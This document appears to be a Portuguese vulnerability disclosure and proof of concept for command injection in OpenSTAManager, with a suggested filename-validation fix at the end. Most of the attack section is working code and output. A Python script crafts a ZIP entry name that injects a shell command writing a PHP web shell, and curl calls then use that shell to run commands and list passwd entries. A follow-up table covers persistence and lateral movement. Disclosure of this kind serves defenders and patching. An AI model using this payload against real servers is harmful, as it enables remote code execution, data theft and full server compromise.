---

---

Explicação do exploit

1. Armazena um comando de shell na variável cmd (que cria um arquivo chamado SHELL.php contendo código PHP capaz de executar comandos).
2. Constrói um nome de arquivo especialmente criado para ocultar o comando da variável cmd e o salva na variável malicious_file.
3. Cria um novo arquivo ZIP chamado exploit.zip e o abre para escrita.
4. Adiciona um arquivo ao ZIP. Seu nome de arquivo é a variável malicious_file.
5. O nome de arquivo malicioso é injetado no comando exec().

---

PoC (Prova de Conceito)

1. Criar arquivo zip para injetar

import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. Executar arquivo e enviar

lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip

3. Resultado do exploit

A análise XML falha após a execução do comando

HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

4. Verificação e execução remota de código

lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin

---

Leva a...

Ataque	Detalhe
Execução Remota de Código	Comprometimento total do servidor com execução de comandos
Exfiltração de Dados	Acesso a todos os dados da aplicação e ao banco de dados
Escalação de Privilégios	Potencial escalação se o servidor web for executado com privilégios elevados ou for vulnerável
Persistência	Instalar backdoors e manter o acesso ao longo do tempo
Movimentação Lateral	Pivotar para outros sistemas/usuários na rede

---

Correção

**uma correção simples é validar os nomes de arquivo antes do processamento (Permitir apenas caracteres alfanuméricos, pontos, hífens e sublinhados para ignorar nomes de arquivo inválidos)

foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(ou você pode simplesmente atualizar lol)